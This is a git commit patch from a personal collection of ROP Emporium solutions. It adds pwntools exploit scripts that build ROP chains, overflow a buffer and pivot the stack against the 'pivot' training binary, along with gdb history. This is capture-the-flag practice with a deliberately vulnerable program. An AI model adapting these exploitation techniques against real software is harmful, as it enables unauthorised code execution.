From 11cbb37694aab501681435375679c49989cdfc91 Mon Sep 17 00:00:00 2001 From: Brett Weiland Date: Sat, 19 Dec 2020 23:19:58 -0600 Subject: modified: x86_64/pivot/exploit.py new file: x86_64/pivot/exploit2.py deleted: x86_64/pivot/stest deleted: x86_64/pivot/test new file: x86_64/pivot/todo new file: x86_64/ret2csu/exploit.py new file: x86_64/ret2csu/gadgets --- x86_64/pivot/.gdb_history | 37 +++++++++++++++++++++++++++++++++++++ x86_64/pivot/exploit.py | 14 +++----------- x86_64/pivot/exploit2.py | 37 +++++++++++++++++++++++++++++++++++++ x86_64/pivot/stest | Bin 122 -> 0 bytes x86_64/pivot/test | 12 ------------ x86_64/pivot/todo | 1 + 6 files changed, 78 insertions(+), 23 deletions(-) create mode 100755 x86_64/pivot/exploit2.py delete mode 100644 x86_64/pivot/stest delete mode 100644 x86_64/pivot/test create mode 100644 x86_64/pivot/todo (limited to 'x86_64/pivot') diff --git a/x86_64/pivot/.gdb_history b/x86_64/pivot/.gdb_history index 9802b5f..8c26b83 100644 --- a/x86_64/pivot/.gdb_history +++ b/x86_64/pivot/.gdb_history @@ -143,3 +143,40 @@ info reg rbp info 0x60103a x/x 0x60103a quit +continue +context +continue +x/i rax +continue +info reg rax +stepi +info reg rax +quit +continue +info reg rax +stepi +info reg rax +x/x $rax +stepi +info reg $rbp +stepi +x/x rax +x/x $rax +x/x 0x601040 +x/x 0x601040 + 279 +x/x 0x601040 - 279 +x/x 0x5173896a +quit +continue +continue +continue +stepi +x/x rax +x/a $rax +x/a got.plt +x/a @got.plt +x/x 0x7f795e45f96a + 279 +x/x 0x7f795e45f96a + 280 +stepi +info reg rax +quit diff --git a/x86_64/pivot/exploit.py b/x86_64/pivot/exploit.py index a46b0cd..2420428 100755 --- a/x86_64/pivot/exploit.py +++ b/x86_64/pivot/exploit.py @@ -3,21 +3,14 @@ from pwn import * from os import getcwd import re -#context.terminal = ['kitty', 'sh', '-c'] -print(context.terminal) - -prog = gdb.debug('./pivot', gdbscript=''' - b pwnme - b *0x4009a5 -''' - -) +prog = process('./pivot') payload = b'' payload += p64(0x0000000000400720) # foothold@plt payload += p64(0x4009bb) # pop rax -payload += p64(601040) # foothold@plt's .got.plt entry +payload += p64(0x601040) # foothold@plt's .got.plt entry +payload += p64(0x4009c0) # mov rax, [rax] payload += p64(0x00000000004007c8) # pop rbp payload += p64(279) # should be the offset of pwnem from foothold's .got.plt @@ -27,7 +20,6 @@ payload += p64(0x4009c4) # adds the two payload += p64(0x00000000004007c1) # jmp rax prog.sendline(payload) pivit_location = int(re.findall('0x[0-9a-z]{12}', prog.readregexS('0x[0-9a-z]{12}'))[0], 16) -print(hex(pivit_location)) payload = b'' #buffer overflow diff --git a/x86_64/pivot/exploit2.py b/x86_64/pivot/exploit2.py new file mode 100755 index 0000000..bf714aa --- /dev/null +++ b/x86_64/pivot/exploit2.py @@ -0,0 +1,37 @@ +#!/usr/bin/env python3 +from pwn import * +from os import getcwd +import re + +# 0000000000058b10 T printf +# 000000000004a830 W system + +prog = process('./pivot') + +payload = b'' + +payload += p64(0x4009bb) # pop rax +payload += p64(0x601028) # printf's .got.plt entry +payload += p64(0x4009c0) # mov rax, [rax] + +payload += p64(0x00000000004007c8) # pop rbp +payload += p64(279) # should be the offset of pwnem from foothold's .got.plt + +payload += p64(0x4009c4) # adds the two + +payload += p64(0x00000000004007c1) # jmp rax +prog.sendline(payload) +pivit_location = int(re.findall('0x[0-9a-z]{12}', prog.readregexS('0x[0-9a-z]{12}'))[0], 16) + +payload = b'' +#buffer overflow +for c in range(40): + payload += b'a' + +payload += p64(0x4009bb) # pop rax +payload += p64(pivit_location) # pivot location +payload += p64(0x4009bd) # xchg rsp,rax + +prog.sendlineafter('Now please send your stack smash', payload) +prog.interactive() + diff --git a/x86_64/pivot/stest b/x86_64/pivot/stest deleted file mode 100644 index c7a6ee1..0000000 Binary files a/x86_64/pivot/stest and /dev/null differ diff --git a/x86_64/pivot/test b/x86_64/pivot/test deleted file mode 100644 index 181b82a..0000000 --- a/x86_64/pivot/test +++ /dev/null @@ -1,12 +0,0 @@ -pivot by ROP Emporium -x86_64 - -Call ret2win() from libpivot -The Old Gods kindly bestow upon you a place to pivot: 0x7f93a9160f10 -Send a ROP chain now and it will land there -> Thank you! - -Now please send your stack smash -> Thank you! - -Exiting diff --git a/x86_64/pivot/todo b/x86_64/pivot/todo new file mode 100644 index 0000000..cf2ec67 --- /dev/null +++ b/x86_64/pivot/todo @@ -0,0 +1 @@ +do the thing with glibc -- cgit v1.2.3